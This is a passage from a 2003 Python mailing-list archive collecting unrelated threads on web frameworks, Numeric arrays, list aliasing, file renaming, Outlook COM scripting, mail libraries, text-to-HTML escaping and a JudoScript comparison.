approaches. Personally, I can see why you might want to do this stuff
"declaratively" - ie. putting it in an easy-to-understand
configuration file - and I do wonder whether Apache might still
support it, even if mod_python might not.

[Frameworks supporting "global application scoped variables"]

> I don't think they do, and you sound unsure.

Well, consider Webware. Since the application server is just a Python
program with a bunch of threads, you can easily imagine ways that
shared application state can be defined. Unfortunately, I can't easily
find any hints about that on the Webware Wiki, but since Webware is
meant to be Pythonic, any Pythonic approach, whether it be the
inclusion of a module to hold your "globals" or something else, is
likely to be a reasonable solution.

If you want a full persistence mechanism, then all you need to do is
to consult the WebProgramming section of the PythonInfo Wiki and check
out which frameworks offer persistence.

> Which platform do you recommend I test for all of these requirements?
> Many tested so far fail relatively easily. I am looking for concrete
> suggestions from people experienced in this sort of web development.

Perhaps the WebProgramming section needs a bit of restructuring if it
isn't that helpful. However, I'd suggest...

  * Zope for a highly specified and flexible framework... that you've
    already stated that you don't like. That's fine, though, because
    I'd certainly be a bit nervous about deploying applications with
    Zope without having a more complete understanding of all the
    issues involved.

  * Webware and Twisted for Pythonic frameworks which might leave you
    with some additional higher-level framework effort. In other
    words, the framework just stops at some point and then you have
    to make some choices.

  * SkunkWeb, Albatross and Quixote for Pythonic frameworks which
    seem "battle-tested" but which offer integration with various
    technological principles that you might not agree with (Quixote,
    for example, promoting its own presentation strategy, for
    example).

  * Spyce and CherryPy for PHP-like frameworks.

I'm not saying that I've developed for all of these; indeed, I've only
ever really used Zope and Webware from the above. However, I've
investigated them and made notes based on my own experiences with Web
development. If you want a simple, single line "executive-level
recommendation", I'd suggest looking closely at CherryPy, particularly
since it seems to be actively developed and may be compatible with
what you have come to expect.

Paul



From genericax at hotmail.com  Wed Jan  8 08:35:54 2003
From: genericax at hotmail.com (Sara)
Date: 8 Jan 2003 05:35:54 -0800
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net> <x7heckyeti.fsf@guru.mired.org>
Message-ID: <776e0325.0301080535.121f3c93@posting.google.com>

Mike Meyer <mwm at mired.org> wrote in message news:<x7heckyeti.fsf at guru.mired.org>...
> "Robert Oschler" <Oschler at earthlink.net> writes:
> 
> > I can't look at dice.com anymore, too depressing.  Some appx stats:
> > 
> > Date    C++ jobs    Java jobs
> > 3/2000    42000    31000
> > 10/2003    2200    2800
> 
> Ok, where did you get the numbers for October 2003? Or is that 1/2003
> or 10/2002?
> 
>         Thanks,
>         <mike
>         -- 
> Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
> Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.

Sorry Mike this is all of the data I have. A friend emailed me this
table in a message and that's what I got. He wanted to "rub it in"
about how I'm "wasting my career" with Perl, PHP, and Python.

The way I look at it, if I was an artiste and everyone was working in
fingerpaints, I'd stil rather work in oils if that was the medium I
preferred. ASP is the fingerpaint, Perl is oils. Hope my ears survive
this quest!

Still, it would be comforting to know that there was a "market" for my
work.

-Gx



From kerryk at hiwaay.net  Fri Jan 17 21:33:38 2003
From: kerryk at hiwaay.net (Kerry Kilbride)
Date: Fri, 17 Jan 2003 20:33:38 -0600
Subject: python and trigram ???
References: <199f365a.0301170801.7cb44da0@posting.google.com> <c76ff6fc.0301171543.58779302@posting.google.com>
Message-ID: <c6fh2v05c0j4i3calb3o4cpufl5jvdnud6@4ax.com>

  That was simply wonderful.




From aleax at aleax.it  Thu Jan 30 05:06:28 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 10:06:28 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <pu@myRealBox.com> <mailman.1043781593.6864.python-list@python.org> <2pqd3vstctf2s1ubv1d7mps5brbh21bi9v@4ax.com> <kB1_9.3814$wd2.301194@newsread2.prod.itd.earthlink.net>
Message-ID: <EO6_9.140743$AA2.5799807@news2.tin.it>

Brandon Van Every wrote:
   ...
> Python may a be a great productivity tool for the power programmer, but I
> seriously doubt that it's any kind of magic bullet for the average
> engineer.

Python is indeed a great productivity tool for excellent programmers,
raising their productivity (on some hypothetical scale) from, say,
100 to 300.

Python is ALSO a great productivity tool for average programmers,
raising their productivity (on the some hypothetical scale) from, say,
20 to 60.

Therefore, it IS indeed no magic bullet -- it doesn't make the
average programmer the equal of the excellent one -- but it would
still be a stupid choice to forego its advantages at any level.


Alex




From tim.one at comcast.net  Wed Jan 29 22:00:43 2003
From: tim.one at comcast.net (Tim Peters)
Date: Wed, 29 Jan 2003 22:00:43 -0500
Subject: memory leak with large list??
In-Reply-To: <bdb2e78a.0301290912.92e1a9c@posting.google.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEDNDLAB.tim.one@comcast.net>

[Stanley]
> ...
> This brings up two questions for me:
>
> 1. Since several people suggested it, I've been looking at Numeric
> python, which looks really great.  The question is, are there any
> disadvantages to using Numeric over using the array module.  It seems
> that array is just a poor cousin of Numeric.  So I assume that either
> the array module has some advantage (speed or memory wise) over
> Numeric, or it exists simply because Numeric is not a part of the base
> python distribution.  So is there any reason not to use Numeric??

The array module existed long before Numeric did, and I doubt their
audiences even overlap.  "array" is just a storage-efficiency gimmick, while
Numeric aims at fast numeric computation.  Computation with array.array
objects is usually *slower* than using Python lists, since the raw bytes in
an array.array have to be wrapped in a Python object every time they're
sucked out, and the wrapper stripped again whenever they're stored.

The only disadvantage to using Numeric would be if you wanted to distribute
your app, and to people who balked at installing Numeric.  It may also cut
back on the number of people willing to help you develop you're app, if it's
Open Source, simply because many Python users don't know anything about
Numeric.

> 2. Is there any nice way to profile memory in python?

No.  Python isn't the operating system, and only the OS knows "for real" how
the OS passes out memory.  Python is several layers removed from those
truths.





From nomad*** at ***freemail.absa.co.za  Wed Jan  8 13:53:25 2003
From: nomad*** at ***freemail.absa.co.za (Nomad)
Date: Wed, 08 Jan 2003 20:53:25 +0200
Subject: running external application or DTS
References: <54vi1vgjtg8uq2o59eiqjlupamefio1sp6@4ax.com>
Message-ID: <1afm1v0f52glhrh7qh4240qs73ilr5a711@4ax.com>

On Mon, 06 Jan 2003 14:02:00 +0100, Yar3k
<programisci_listy at muratorDOTcom.pl> wrote:

>I need to run DTS command on NT Server using Python scripts. I am
>afraid there is no dedicated library for such task, so I have to run
>external application dtsrun.exe.
>The problem is, I have no idea how to execute it and pass all
>parameters. I would like to catch exit code as well. 
>I need any working example...

Search the docs for "popen" and it's kin.

-- 
Nomad

Wondering of the vast emptyness of the 'net
in search of something cool.



From hilbert at hotmail.com  Mon Jan  6 22:58:22 2003
From: hilbert at hotmail.com (Hilbert)
Date: Mon, 6 Jan 2003 19:58:22 -0800
Subject: renaming files 
Message-ID: <3e1a5058_3@nopics.sjc>

Hello,

I'm new to python and trying to learn the language by doing some everyday
tasks in it.
I wanted to convert the following simple csh script to python:

foreach i (test-????.*)
  mv $i `echo $i | sed 's/test/final/'`
end

I can't find no easy way. I don't want to use a system call to 'ls', so got
a list
of files with os.listdir(), but how can I get a selective list?
I can match "test-" with string.find, but I'm really looking for test-????.*
(csh wildcards).

Any suggestions?

Thanks!





From john_taylor_1973 at yahoo.com  Wed Jan 15 11:10:20 2003
From: john_taylor_1973 at yahoo.com (John Taylor)
Date: 15 Jan 2003 08:10:20 -0800
Subject: Outlook/Exchange CDO/COM questions
Message-ID: <fc30bff.0301150810.4e6b2271@posting.google.com>

I have 3 questions about the code that I am writing (posted below).

1) This code works on Inbox, but I really need it to work on the "Sent
Items" folder, but can not figure this out.
2) Iterating through Recipients returns all names listed in the "To:"
header, how do I also get "CC:"?
3) Some of the text is unicode, but it is probably just a few
characters.  How do I print out unicode text, in the info() function. 
I imagine this is utf-16, since this is Microsoft.

Thanks,
John Taylor


from win32com.client import Dispatch

################################################################

def info(s,d):
	print
	print "=" * 60 , d
	print "%s" % s
	print "=" * 60 , d
	print
	print

################################################################

def msg_info(s):

	last = len(s.Inbox.Messages)
	curr = s.Inbox.Messages.Item(last)
	try:
		info(curr.Sender,"Sender")
		info(curr.Subject,"Subject",)
		info(curr.TimeSent,"Time Sent")
		info(curr.TimeReceived,"Time Received")
		info(curr.Sent,"Sent")
		info(curr.Submitted,"Submitted")
		info(curr.Recipients,"Recipients")
		info(curr.TimeCreated,"Time Created")
		info(curr.TimeLastModified,"Time Last Modified")
		#info(curr.Text,"Text")
	except AttributeError, e:
		print e

	print "=" * 75
	print

	a = curr.Recipients
	i = 1
	max = a.Count
	while i < max:
		b = a.Item(i).Name
		c = a.Item(i).AmbiguousNames
		d = a.Item(i).AddressEntry
		e = a.Item(i).Address
		print "%d) %s" % (i,b)
		print "%d) %s" % (i,c)
		print "%d) %s" % (i,d)
		print "%d) %s" % (i,e)
		print
		i = i+1

	print "=" * 75


################################################################

def main():
	s=Dispatch("Mapi.Session")
	s.Logon()
	msg_info(s)
	s.Logoff()

################################################################

main()



From thephoenix235 at gmx.net  Thu Jan 30 21:17:57 2003
From: thephoenix235 at gmx.net (Chirayu Krishnappa)
Date: Thu, 30 Jan 2003 18:17:57 -0800
Subject: Which exception has been used? (was: Which exception to use?)
References: <b16lui$j3s$1@bob.news.rcn.net> <mailman.1043786834.24179.python-list@python.org> <7h3y954ywdw.fsf@pc150.maths.bris.ac.uk>  <v3jak3of0o8ga2@corp.supernews.com> <mailman.1043967957.1232.python-list@python.org>
Message-ID: <f4nj3v89bk6m5mltpb7b0jhid1r6gjq3c9@4ax.com>

python 2.2.2 does not allow both an except block and a finally block
for the same try block. i have no idea about 2.3alpha.

>Now, hopefully you know about the "finally" claus:
>
>ie.
>
>try:
>	mutex.acquire()
>	doSomethingHeavyDuty()
>except:
>	excInfo = sys.exc_info()
>	myErrorHandler.handler(excInfo)
>finall:
>	mutex.release()
>
>Note: You should use sys.exc_info() right away just incase another
>exception occurs - in that case, the old exception info will be lost.
>
>




From andrew-pythonlist at puzzling.org  Thu Jan  9 08:29:14 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 10 Jan 2003 00:29:14 +1100
Subject: Do pythons like sugar?
In-Reply-To: <sqrq1v05jiqqqnnlglmk105rq76lormqnn@4ax.com>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com> <tieq1v8n45cktgj8r5h3mnc6u2gdb2v03q@4ax.com> <avjj5d$8cn$1@slb3.atl.mindspring.net> <dqkq1vkn3eo4kqrjtdra85cias56t3bk9f@4ax.com> <mailman.1042111336.29448.python-list@python.org> <sqrq1v05jiqqqnnlglmk105rq76lormqnn@4ax.com>
Message-ID: <20030109132914.GC31993@frobozz.local>

On Thu, Jan 09, 2003 at 12:48:06PM +0000, Afanasiy wrote:
> On Thu, 9 Jan 2003 22:29:33 +1100, Andrew Bennetts
> <andrew-pythonlist at puzzling.org> wrote:
> 
> >What is good design for one language isn't necessarily good design for
> >another.  Python offers different features to, say, C++, and is best used in
> >different ways.  I would recommend that you try to understand the pythonic
> >world-view better, rather than insisting on imposing your preconceptions on
> >us... my experience agrees with Andrew Dalke's; explicit self is much better
> >than the alternatives.
> 
> The design is simple and normal. Dalke's code in response to mine made
> changes which would break my design. My design for my project is right.
> It also just happens to be of a very traditional and common methodology.

It also just happens that your design is not of a common methodology for
Python code.  To my eyes, it looks needlessly complex, but it is hard to
tell without the surrounding context.

> >Not to mention that the code you have shown us doesn't give me any confidence
> >that your code is what you claim it to be.
> 
> You cannot see what the rest of the class is doing or meant to do.

Indeed.  I am extrapolating based on what little information I have... if
you would show us the whole class, I could have a more informed opinion.
Until then, I will work with what data I have.

> >What is your situation?  You're refusing to say what it actually is, so it's
> >reasonable for people to refuse to try help you -- its hard to know what the
> >answer is if you won't tell us the question!
> 
> It is not relevant. I just wanted to know about the possibility of
> implicit self. I suppose this is a sore spot. I'll look elsewhere,
> but will continue to react to people saying I am doing it wrong
> when all I was asking about what the possibility of implicit self.

The answer is "no, and you don't really need it".  The fact that you are
asking the question suggests that you don't fully appreciate the pythonic
way of doing things, hence the condescening replies you complain about in
another post.  That's not to say the idea is entirely without merit; but it
has been debated often in the past -- as a quick search through the archives
would show -- and the vast majority seem to be in agreement that it is a bad
idea.

-Andrew.





From lazypointer at yahoo.com  Tue Jan 21 02:57:45 2003
From: lazypointer at yahoo.com (Byron Morgan)
Date: Tue, 21 Jan 2003 07:57:45 GMT
Subject: 2D lists
References: <c7486c63.0301201106.681eece8@posting.google.com>
Message-ID: <Z37X9.444$7L1.355@newssvr16.news.prodigy.com>

a is a tuple with one list object, referenced twice.
b is a tuple with two list objects.

id() makes it clear:

>>> a=[[0]*4]*2
>>> a
[[0, 0, 0, 0], [0, 0, 0, 0]]
>>> id(a[0])
24149152
>>> id(a[1])
24149152
>>>
>>> b=[[0, 0, 0, 0], [0, 0, 0, 0]]
>>> id(b[0])
24146560
>>> id(b[1])
24158720
>>>

"Marcin Matuszkiewicz" <marcin at finisar.com> wrote in message
news:c7486c63.0301201106.681eece8 at posting.google.com...
> In the code below I created a two dimensional list in two ways.  List
> b behaves I expect, list a does not.  Could someone explain it?
>
> >>> a=[[0]*4]*2
> >>> a
> [[0, 0, 0, 0], [0, 0, 0, 0]]
> >>> a[0][0]=1
> >>> a
> [[1, 0, 0, 0], [1, 0, 0, 0]]
> >>> b=[[0, 0, 0, 0], [0, 0, 0, 0]]
> >>> b[0][0]=1
> >>> b
> [[1, 0, 0, 0], [0, 0, 0, 0]]
> >>>
>
> Thanks,
>
> Marcin





From Oschler at earthlink.net  Wed Jan 22 17:02:01 2003
From: Oschler at earthlink.net (Robert Oschler)
Date: Wed, 22 Jan 2003 22:02:01 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <slrnb2ten0.1gg.gerhard.haering@haering.opus-gmbh.net> <bJzX9.9$0L3.15587@news2.news.adelphia.net> <slrnb2tj3u.os.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <txEX9.141$0L3.64709@news2.news.adelphia.net>

[comments in place]

"Gerhard H?ring" <gerhard.haering at opus-gmbh.net> wrote in message
news:slrnb2tj3u.os.gerhard.haering at haering.opus-gmbh.net...
>
> ^^
> Considering this reference "line", I agree you need a new MUA :-)
>
> ^^
> Yeah, considering this "quoting", you definitely need one ;-)

Have some sympathy, I'm still stuck with OE!  That, and the desire to code
my own auto-responder, is why I'm going to roll my own with Python.


> For a (GUI) MUA blocking calls like the ones in smtplib and poplib tend to
> annoy the user.  Twisted might come in really useful there.

Sounds good, I'll get the latest Twisted distribution now.  (That sentence
would look a lot weirder if the 'T' in Twisted wasn't captilized.)

>
> OTOH maybe using smtplib/poplib in a separate thread and communicating via
> Queue.Queue or whatever works well, too.
>
> But if you can avoid threads, that's a Good Thing [tm].

I assume you're referring to the global intepreter lock?

>
> While you're at it, http://sourceforge.net/projects/pythonms/ (Python Mail
> System - a framework for creating MUAs in Python) could also poffer some
> useful code.
>
> One other thing: you'll most likely want a threading algorithm. I started
> one once but AMK got got a stable one finished before me:
>
> http://www.amk.ca/python/code/jwz.html
>

Ok, thanks for the help!





From arigreen at stanford.edu  Sun Jan  5 18:16:19 2003
From: arigreen at stanford.edu (Ari Greenberg)
Date: 5 Jan 2003 15:16:19 -0800
Subject: Displaying and Inputting Japanese
References: <b6c0a2c6.0301031601.cb5a80f@posting.google.com> <33803989.0301050658.34132dfe@posting.google.com>
Message-ID: <b6c0a2c6.0301051516.5b2096d5@posting.google.com>

Hi Miki,

Thanks for your message. Unfortunately, when I tried adding that line
to my config-win.txt file, the IDLE fonts were different but they
still didn't display Japanese. I think my problem has to do with using
the Japanese codecs. I include an import japanese line at the top of
my script, but it doesn't seem to help. Is there something else that
must be done?

I am trying to write a GUI program for Kanji flashcards and other
Japanese related tasks. If anybody has any idea how to use the
Japanese codecs, please let me know. Thanks,

-Ari



From bokr at oz.net  Tue Jan 21 20:17:30 2003
From: bokr at oz.net (Bengt Richter)
Date: 22 Jan 2003 01:17:30 GMT
Subject: translate txt into HTML
References: <18f9f477.0301210606.45d9eaca@posting.google.com> <3E2D5529.C9CB5479@engcorp.com> <x7el762x0p.fsf@guru.mired.org>
Message-ID: <b0krfa$8gm$0@216.39.172.122>

On Tue, 21 Jan 2003 18:11:18 GMT, Mike Meyer <mwm at mired.org> wrote:

>Peter Hansen <peter at engcorp.com> writes:
>
>> Natacha wrote:
>> > 
>> > We have to create a program allowing to go to seek two textual files
>> > bruts(.txt), but we would like to translate them into HTML.
>> > 
>> > we think that a parser should be used, but we do not know how to make!
>> 
>> To help you clarify your requirements, I offer this first version which
>> meets your requirements as stated.  What aspect of this do you find
>> insufficient?  If you can explain that, we can help you with a more
>> suitable solution, perhaps involving the StructuredText concept...
>> 
>> text = open('afile.txt').read()
>> htmlFile = open('afile.html', 'w')
>> print >>htmlFile, '<html><head><title>A file</title></head>'
>> print >>htmlFile, '<body><pre>%s</pre></body></html>' % text
>> htmlFile.close()
>
>You've got a bug. Try this for the second print:
>
>print >>htmlFile, '<body><pre>%s</pre></body></html>' % text.replace('<', '&lt;')
>
I think you have a bug too ;-)

print >>htmlFile, '<body><pre>%s</pre></body></html>' % \
                        text.replace('&','&amp;').text.replace('<', '&lt;')

Or else, e.g., you couldn't show this post as text.

Regards,
Bengt Richter



From martin at v.loewis.de  Wed Jan 15 20:27:47 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 16 Jan 2003 02:27:47 +0100
Subject: Ignoring incorrect XML encoding declarations
In-Reply-To: <b04roj$lif9o$1@ID-174764.news.dfncis.de>
References: <b04roj$lif9o$1@ID-174764.news.dfncis.de>
Message-ID: <3E260A93.9090804@v.loewis.de>

Peter Scott wrote:
> The parser wisely spots this error and throws a SAXParseException, and I 
> can't parse the file. I've tried just catching the exception and 
> printing an error, then keeping on parsing, but it didn't work. Is there 
> any way I can get the SAX parser to ignore the 'encoding="UTF-16"' and 
> parse the file with the real encoding?

If you invoke xml.parsers.expat.ParserCreate with an encoding argument, 
expat should use this one instead of the declared encoding. This feature 
  is not exposed through SAX, though.

Regards,
Martin





From judoscript at hotmail.com  Thu Jan  9 01:09:46 2003
From: judoscript at hotmail.com (James Huang)
Date: 8 Jan 2003 22:09:46 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com> <52719db8.0301072113.3c143cfe@posting.google.com> <geVS9.14961$oS1.61201@news-server.bigpond.net.au>
Message-ID: <52719db8.0301082209.5860f86d@posting.google.com>

"Neil Hodgson" <nhodgson at bigpond.net.au> wrote in message news:<geVS9.14961$oS1.61201 at news-server.bigpond.net.au>...
> The core difference between Python and JudoScript are that JudoScript
> allows more Perl-like quoting and Smalltalk like blocks. The documentation
> manages to obscure this greatly so I couldn't work out how to define a new
> equivalent to do ... as sgml.
> 
> James Huang:
> 
> > Anyway, to answer your concerns over Jython, first of all, assume you
> > accept that JudoScript is as capable as Jython to script Java. The
> > following examples demonstrate some of the differences:
> >
> > -------------------------------------
> > thread mythrd param1, param2
> > {
> >   println 'parameters are: ', param1, ' ', param2;
> >   println 'Done.';
> > }
> > start thread mythrd(1, 'xyz');
> 
>    Python equivalent (although I'd normally subclass Thread instead):
> 
> def mythread(param1, param2):
>    print 'parameters are: ', param1, ' ', param2
>    print 'Done.'
> threading.Thread(None,mythread,'',(1,'xyz')).start()
> 

Close enough.

> > -------------------------------------
> > copy '*.java, *.jj' in '~/src/' except '*Test*, *test*'
> >      recursive
> >      into '~/archive/src_' @ date().fmtDate('yyyy-MM-dd') @ '.jar';
> 
>    This is a a function call with keyword arguments. 'copy' could be
> implemented in Python with equivalent functionality and would be called
> like:
> 
> copy(['*.java, *.jj'], in='~/src/', except=['*Test*, *test*'],
>       recursive=1,
>       into='~/archive/src_' + date().fmtDate('yyyy-MM-dd') + '.jar')
>
> > -------------------------------------
> > do 'http://www.yahoo.com' as sgml
> > {
> > <a>:   println $_.href;
> > <img>: println $_.src;
> > }
> 
>    In Python this is sometimes done with methods like so:
> 
> class mySGML(SGMLResponder):
>     def a(self):
>         print self.current.href
>     def img(self):
>         print self.current.src
> do_sgml('http://www.yahoo.com', mySGML())
> 
>    Where the method names themselves are insufficient to handle all the
> cases, doc comments are sometimes used as an extension mechanism.
> 
>    The JudoScript style can be more closely emulated in languages with
> blocks like Ruby. I'm not that familiar with Ruby so there may be some
> mistakes here. This could look like:
> 
> do_sgml('http://www.yahoo.com',
> {
> "<a>" => { println _.href },
> "<img>" => { println _.src }
> })
>  
> > -------------------------------------
> > preparedExecuteQury qry:
> >    select name, email from emp where id=?;
> > with @1 = '00123';
> > while qry.next() {
> >   . 'Name:  ', qry.name; // '.' is synonymous to 'println'
> >   . 'EMail: ', qry[2];
> > }
> 
>    The SQL features seem to be just functions/methods with variable
> interpolation.
> 
> > These were all in its initial release. It is the vision of these (and
> > more) plus Java scripting that convinced that this language is worth
> > doing.
> 
>    What *exactly* is the vision. Looks to me like the capabilities are the
> same as Python/Ruby/Perl but with different syntax. Other scripting
> languages than Python are closer to the styles of syntax JudoScript uses. We

General-purpose languages can do anything, so your first statement is
always true. The vision is, JudoScript has very high level constructs
including syntactical support, so that in many situations you can
specify solution straightforwardly, intuitively and concisely. Of
course, you can program, even for those areas that have high-level
support (for whatever reason, say, study a particular Java API like
javax.mail.* or java.util.zip.*).

For the lack of words, try this: scroll back to your response of
"do_sgml()" to my "do .. as sgml" example, move back 3 feet, and see
if you can understand what my code does and what yours does. :)

> Python users tend to like constrained syntax instead, including, for
> example, the lack of regular expression literals or here documents.

Agreed. Java1.4 and JudoScript does the same. I believe that Python's
programming model is exactly right, so is JudoScript's because it's
virtually the same. I hate visual polutions, especially in code. I
love simplicity, extremely. Count this as part of the vision.

> 
> > Python land has wheat, Java land has rice; both are rich in
> > carbohydrate. In addition, Java land also grows beans. What do you
> > want to ship across that bridge? If you one day decide to reside
> > permanently in Java land, why don't you drive a Cadillac but instead a
> > Lexus? In any case, JudoScript is a hovercraft.
> 
>    They are all programming languages. Hyperbole is less likely to win
> converts than understandable documentation.

Just tired of being tied up to 0s and 1s too much. Converts would be
good, but wouldn't this be fun itself?

I am proud of the documentation of JudoScript, although there is
always room for improvement. But your good suggestion is well taken
anyway.

> 
>   Neil

Thanks, for one of the best responses.

-James



From N.Vasiliev at apatit.com  Fri Jan 31 01:51:06 2003
From: N.Vasiliev at apatit.com (Nicolay Vasiliev)
Date: Fri, 31 Jan 2003 09:51:06 +0300
Subject: In continuing of my question...
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com>
Message-ID: <b1d6cq$175p$1@bull.east.ru>

Does Python have any reporting system (maybe as third party tool)? And could
I export data to MS applications (ie, MS Excel)?







From morden at shadows.net  Tue Jan 21 20:27:38 2003
From: morden at shadows.net (morden)
Date: Tue, 21 Jan 2003 17:27:38 -0800
Subject: Preferred way to input python commands from the main loop
In-Reply-To: <b0kk88$kaj$1@bob.news.rcn.net>
References: <b0kk88$kaj$1@bob.news.rcn.net>
Message-ID: <b0km2g$q5s$1@bob.news.rcn.net>

morden wrote:

> I'm creating a simple tkinter program to get driven by an existing motif
> application.
> The way I intend it to work is to have the existing app feed python
> commands to the tkinter program sitting in the mainloop, have them
> executed and feed the results in form
>
> fromgui.buttonpressed("tagfoo", 1)
>
> back to the motif app.
>
> Sooo, should I used after() to setup reading from the motif app or
> should I create a thread waiting for the input from the motif app?
>
Nevermind. Section 9.6 in the python cookbook seems to describe one way 
to do this.




From mwh at python.net  Fri Jan 17 06:17:08 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Jan 2003 11:17:08 GMT
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <mailman.1042762951.20430.python-list@python.org> <7x7kd46u6b.fsf@ruckus.brouhaha.com>
Message-ID: <7h3vg0om3ec.fsf@pc150.maths.bris.ac.uk>

Paul Rubin <phr-n2002b at NOSPAMnightsong.com> writes:

> Andrew Bennetts <andrew-pythonlist at puzzling.org> writes:
> > > will always print x's contents in the
> > > same sequence.  Is there an elegant and
> > > efficient way to iterate through x in
> > > reverse without having to create a reversed
> > > copy of it (i.e. y=x[:]; y.reverse())?
> > 
> > Get the Python 2.3 alpha, and it's really easy :)
> > 
> > >>> l = [1,2,3,4,5]
> > >>> for i in l[::-1]:
> > ...     print i
> 
> My guess is that the above creates a reversed copy.

Yes, like all slices (of the builtin list type, anyway) this creates a
copy.

Cheers,
M.

-- 
  Ya, ya, ya, except ... if I were built out of KSR chips, I'd
  be running at 25 or 50 MHz, and would be wrong about ALMOST
  EVERYTHING almost ALL THE TIME just due to being a computer!
                                              -- Tim Peters, 30 Apr 97



From max at alcyone.com  Wed Jan 22 19:23:36 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 22 Jan 2003 16:23:36 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <3E2DFBC6.32058F2C@alcyone.com> <b68f71a7.0301220333.143efd58@posting.google.com>
Message-ID: <3E2F3608.26C91BDC@alcyone.com>

Alan James Salmoni wrote:

> From the site: "The ratings are based on the world-wide availability
> of skilled engineers, courses and third party vendors. The popular
> search engine Google is used to calculate the ratings."
> 
> It is also possible that the way in which a language operates is an
> important factor: With Python, there is little need for third party
> vendors as it comes with so much in the basic installation, and its
> ease of learning reduces the need for courses.

Or it could be something even simpler:  They're choosing really poor
Google searches to base their data on.  Since they don't elaborate, the
general public has no way of judging whether they've come to their
ratings (and more importantly their division between "A" and "B"
languages) in a reasonable manner.

For all we know they misspelled _Python_, or didn't realize that their
"C#" searches included C, C++, _and_ C#, etc.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I'm rolling like thunder / I'm feeling my power
\__/ Chante Moore
    CatCam / http://www.catcam.com/
 What do your pets do all day while you're at work?  Find out.



From tdelaney at avaya.com  Wed Jan 15 22:52:42 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Thu, 16 Jan 2003 14:52:42 +1100
Subject: Copyright on the Python and Python-console icons?
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B029434CC@natasha.auslabs.avaya.com>

> From: Erik Max Francis [mailto:max at alcyone.com]
> 
> Am I going to have to invoke the Descartes argument?  You have two
> possibile scenarios.  In both, he uses the copyrighted 
> material; in the
> first, he secures permission before doing so, and in the second, he
> doesn't bother.
> 
> In the first case, he's fine, because he has permission.  In 
> the second,
> there is always the possibility that the copyright holder (which may
> change its disposition, or change holders entirely) will get 
> upset with
> what he's doing and bring suit.  If this were to happen, it would have
> extremely negative payoff, whether or not you estimate it as 
> having very
> low probability.  The first situation has a non-negative 
> expected value,
> the second situation has a negative expected value.

Do you currently have Python 2.0+ installed on any machine?

If so, you are in *exactly* the same situation now as Mike will be if he
decides to use the icons. And as is is *now* if he has python 2.0+
installed.

You (and everyone else) explicitly has permission as part of the PSF license
to use any works copyrighted by the PSF.

Technically, a PSF member could sue you for installing Python, just as they
could for using icons. However, not only do I not believe that such a suit
would ever be started, but such a suit would almost certainly be thrown out
of court as soon as the conditions of the PSF license *at the time that the
use occurred* were pointed out.

Tim Delaney




From cswingle at iarc.uaf.edu  Sat Jan  4 12:43:19 2003
From: cswingle at iarc.uaf.edu (Christopher Swingley)
Date: Sat, 4 Jan 2003 08:43:19 -0900
Subject: Best Python Editor (under Linux)
In-Reply-To: <3E16D06B.4080302@tiscali.co.uk>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk> <3E159B1A.BE7AC2DD@engcorp.com> <0zhR9.7019$Gv4.4628@fe08> <3E16D06B.4080302@tiscali.co.uk>
Message-ID: <20030104174319.GS27272@iarc.uaf.edu>

* Paddy <paddy3118 at tiscali.co.uk> [2003-Jan-04 03:15 AKST]:
> One feature that would be nice is multiple language syntax colouring 
> for things like embedded scripts in HTML or a python 'here document', 
> ( <<!  ...!), in a bash script. Is this available in editors yet?

vim can do this, at least for HTML and SQL code embedded within PHP.  
Reading the comments at the top of the syntax language files can be very 
useful, as the options are often discussed there.

Chris, who uses vim, but would rather convince people to use emacs than 
any of the "editors" that come standard with Windows / Aqua.
-- 
Christopher S. Swingley           email: cswingle at iarc.uaf.edu
IARC -- Frontier Program          Please use encryption.  GPG key at:
University of Alaska Fairbanks    www.frontier.iarc.uaf.edu/~cswingle





From ianb at colorstudy.com  Fri Jan 24 15:19:44 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 24 Jan 2003 14:19:44 -0600
Subject: Python web development, really
In-Reply-To: <ba523vo5buee81j61aj3q26c3bq8lun9na@4ax.com>
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com>
	 <mailman.1043359063.30364.python-list@python.org>
	 <ba523vo5buee81j61aj3q26c3bq8lun9na@4ax.com>
Message-ID: <1043439584.16308.1182.camel@lothlorien>

On Fri, 2003-01-24 at 04:30, Afanasiy wrote:
> On 23 Jan 2003 15:57:33 -0600, Ian Bicking <ianb at colorstudy.com> wrote:
> 
> >On Mon, 2003-01-20 at 11:16, Afanasiy wrote:
> >> * Run on the same hardware I use currently
> >
> >Yes, so long as you can run long-running processes.  Most commercial
> >shared-hosting situations don't allow this.  This applies to all Python
> >frameworks except when accessed strictly through CGI, which will give
> >you atrocious performance.
> 
> Webware is it's own daemon which would run behind Apache?
> So..., stability depends on another daemon, one with much
> less testing than Apache? Does it use lots of 3rd party
> Python modules/code to provide this daemon?

Yes, it is essentially a daemon -- a program running in the background
